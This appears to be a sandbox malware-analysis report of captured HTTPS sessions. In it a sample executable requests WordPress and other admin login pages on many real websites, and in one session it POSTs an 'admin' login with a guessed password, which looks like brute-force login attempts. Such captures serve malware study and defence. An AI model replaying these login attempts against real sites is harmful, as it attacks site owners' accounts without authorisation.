2023-11-26 05:59:45 UTC	412	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 30 2e 32 30 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:44 GMTServer: ApacheX-Powered-By: PHP/8.0.20Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wordpress_test_cookie=WP%
2023-11-26 05:59:45 UTC	4130	IN	Data Raw: 31 30 31 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 68 65 20 47 6f 64 68 72 61 20 43 69 74 79 20 43 6f 2d 6f 70 20 42 61 6e 6b 20 4c 74 64 2e 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 Data Ascii: 101a<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; The Godhra City Co-op Bank Ltd. — WordPress</title><meta name='robots' content='max-image-preview:lar
2023-11-26 05:59:45 UTC	2144	IN	Data Raw: 38 35 39 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 63 63 62 2e 63 6f 2e 69 6e 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 30 22 20 69 64 3d 22 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 63 63 62 2e 63 6f 2e 69 6e 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 69 6e 65 72 74 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 2e 32 22 20 69 64 Data Ascii: 859<script type="text/javascript" src="https://gccb.co.in/wp-includes/js/zxcvbn-async.min.js?ver=1.0" id="zxcvbn-async-js"></script><script type="text/javascript" src="https://gccb.co.in/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2" id
2023-11-26 05:59:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
429	192.168.2.4	51051	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	250	OUT	GET /Security/login?BackURL=%2Fadmin%2Fpages%2F HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=90qdef5au19fnromgduipcu8s5 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	333	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 78 2d 66 72 61 6d 65 2d 6f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 78 2d 72 6f 62 6f 74 73 2d 74 61 67 3a 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 0d 0a 76 61 72 79 3a 20 58 2d 46 6f 72 77 61 72 64 65 64 2d 50 72 6f 74 6f 63 6f 6c 2c 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:44 GMTServer: Apache/2.4.52 (Ubuntu)x-frame-options: SAMEORIGINx-robots-tag: noindex, nofollowvary: X-Forwarded-Protocol,Accept-Encodingcache-control: no-cache, no-store, must-revalidateConnection:
2023-11-26 05:59:44 UTC	7859	IN	Data Raw: 32 61 64 34 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 22 3e 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 3c 2f 62 61 73 65 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4c 6f Data Ascii: 2ad4<!doctype html><html class="no-js" lang="en"> <head> <base href="https://ce-logic.com/">...[if lte IE 6]></base><![endif]--> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Lo
2023-11-26 05:59:44 UTC	3111	IN	Data Raw: 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 72 65 73 6f 75 72 63 65 73 2f 74 68 65 6d 65 73 2f 6d 61 69 6e 2f 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2e 69 66 72 61 6d 65 2d 74 72 61 6e 73 70 6f 72 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 72 65 73 6f 75 72 63 65 73 2f 74 68 65 6d 65 73 2f 6d 61 69 6e 2f 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2e 66 69 6c 65 75 70 6c 6f 61 64 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 56 61 6c 69 64 61 74 65 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 61 73 70 6e 65 74 63 64 6e 2e 63 6f 6d 2f 61 6a 61 78 2f Data Ascii: <script src="/resources/themes/main/js/vendor/jquery.iframe-transport.js"></script> <script src="/resources/themes/main/js/vendor/jquery.fileupload.js"></script> ... Validate --> <script src="//ajax.aspnetcdn.com/ajax/
2023-11-26 05:59:44 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
430	192.168.2.4	51102	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	170	OUT	GET /admin HTTP/1.1 Host: www.2brospw.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	653	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 38 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 38 33 2e 33 36 39 31 30 33 35 31 37 32 31 38 38 31 33 34 35 36 32 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 6d 61 78 2d 61 67 65 3d 30 2c 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 53 65 72 76 65 72 3a Data Ascii: HTTP/1.1 404 Not FoundContent-Length: 2865Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978383.3691035172188134562Cache-Control: public,max-age=0,must-revalidateServer:
2023-11-26 05:59:44 UTC	599	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" conten
2023-11-26 05:59:44 UTC	1252	IN	Data Raw: 20 2f 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 74 79 6c 65 73 2f 65 72 72 6f 72 2d 70 61 67 65 73 2f 73 74 79 6c 65 73 2e 63 73 73 22 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 6c 61 6e 67 3d 22 65 6e 22 20 6e 67 2d 63 6f 6e 74 72 6f 6c 6c 65 72 3d 22 45 72 72 6f 72 50 61 67 65 43 6f 6e 74 72 6f 6c 6c 65 72 20 61 73 20 65 72 72 6f 72 50 61 67 65 43 74 72 6c 22 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 2d 70 61 67 65 2d 61 70 70 22 20 6e 67 2d 63 6c 61 73 73 3d 22 7b Data Ascii: /> ... --> <link rel="stylesheet" href="//static.parastorage.com/services/wix-public/1.719.0/styles/error-pages/styles.css"> ... --></head><body lang="en" ng-controller="ErrorPageController as errorPageCtrl" class="error-page-app" ng-class="{
2023-11-26 05:59:44 UTC	1014	IN	Data Raw: 0a 0a 3c 73 63 72 69 70 74 3e 0a 20 20 61 6e 67 75 6c 61 72 2e 6d 6f 64 75 6c 65 28 27 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 27 29 2e 63 6f 6e 73 74 61 6e 74 28 27 73 74 61 74 69 63 73 55 72 6c 27 2c 20 27 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 27 29 3b 0a 20 20 61 6e 67 75 6c 61 72 2e 6d 6f 64 75 6c 65 28 27 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 27 29 2e 63 6f 6e 73 74 61 6e 74 28 27 62 61 73 65 44 6f 6d 61 69 6e 27 2c 20 27 77 69 78 2e 63 6f 6d 27 29 3b 0a 20 20 61 6e 67 75 6c 61 72 2e 6d 6f 64 75 6c 65 28 27 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 27 29 2e 63 6f 6e 73 74 61 6e 74 28 27 6c 61 6e 67 75 61 67 Data Ascii: <script> angular.module('wixErrorPagesApp').constant('staticsUrl', '//static.parastorage.com/services/wix-public/1.719.0/'); angular.module('wixErrorPagesApp').constant('baseDomain', 'wix.com'); angular.module('wixErrorPagesApp').constant('languag

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
431	192.168.2.4	51080	66.235.200.147	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	331	OUT	GET /wp-login.php?redirect_to=https%3A%2F%2Ftradeavenida.com%2Fwp-admin%2F&reauth=1 HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip Cookie: _cfuvid=Y9iVqDLjjy.4c42u423kB35hFI4xb1W3CLV4ZRxyw.Y-1700978381430-0-604800000 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	227	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 39 20 43 6f 6e 66 6c 69 63 74 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 4d 49 53 53 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 32 62 66 65 38 33 38 30 64 34 32 31 66 66 61 2d 49 41 44 0d 0a 0d 0a Data Ascii: HTTP/1.1 409 ConflictDate: Sun, 26 Nov 2023 05:59:44 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: MISSServer: cloudflareCF-RAY: 82bfe8380d421ffa-IAD
2023-11-26 05:59:44 UTC	89	IN	Data Raw: 35 33 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 53<script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>
2023-11-26 05:59:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
432	192.168.2.4	51100	162.210.96.117	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	398	OUT	POST /wp-login.php HTTP/1.1 Host: coralparkchristian.org Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=jj4h1tsj14o7hg5cov2fqll3o0 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://coralparkchristian.org/wp-login.php Content-Length: 135 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:44 UTC	135	OUT	Data Raw: 6c 6f 67 3d 61 64 6d 69 6e 26 70 77 64 3d 54 30 4a 52 58 34 57 54 53 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 63 6f 72 61 6c 70 61 72 6b 63 68 72 69 73 74 69 61 6e 2e 6f 72 67 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=admin&pwd=T0JRX4WTS&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Fcoralparkchristian.org%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:45 UTC	522	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 72 2d 63 66 2d 6c 69 73 74 5f 65 6d 61 69 6c 5f 73 65 6e 64 5f 74 6f 3d 64 65 6c 65 74 65 64 3b Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:44 GMTServer: ApachePragma: no-cacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wr-cf-list_email_send_to=deleted;
2023-11-26 05:59:45 UTC	4226	IN	Data Raw: 31 30 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e Data Ascii: 107a<!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="en-US"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">...<![endif]--><head><meta http-equiv="Con
2023-11-26 05:59:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
433	192.168.2.4	51197	23.185.0.1	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	165	OUT	GET /admin HTTP/1.1 Host: avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	618	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 76 69 65 6e 74 2e 63 6f 6d 2f 61 64 6d 69 6e 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 36 32 32 34 30 30 0d 0a 58 2d 50 61 6e 74 68 65 6f 6e 2d 53 74 79 78 2d 48 6f 73 74 6e 61 6d 65 3a 20 73 74 79 78 2d 66 65 31 2d 61 2d 37 63 39 63 34 34 36 63 Data Ascii: HTTP/1.1 301 Moved PermanentlyConnection: closeContent-Length: 0Content-Type: text/html; charset=UTF-8Location: https://www.avient.com/adminServer: nginxStrict-Transport-Security: max-age=31622400X-Pantheon-Styx-Hostname: styx-fe1-a-7c9c446c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
434	192.168.2.4	51203	162.241.62.220	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	177	OUT	GET /wp-admin/ HTTP/1.1 Host: lumaruniformes.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	417	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 64 50 72 65 73 73 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:44 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Redirect-By: WordPressUpgrade: h2,h2cConnection: Upgrade, closeLocation: https://

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
435	192.168.2.4	51115	45.40.150.54	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	176	OUT	GET /wp-login.php HTTP/1.1 Host: engel-firm.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	856	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 67 65 3a 20 30 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e Data Ascii: HTTP/1.1 200 OKServer: openrestyDate: Sun, 26 Nov 2023 05:59:46 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeage: 0cache-control: no-store, no-cache, must-revalidatecontent-security-policy: upgrade-in
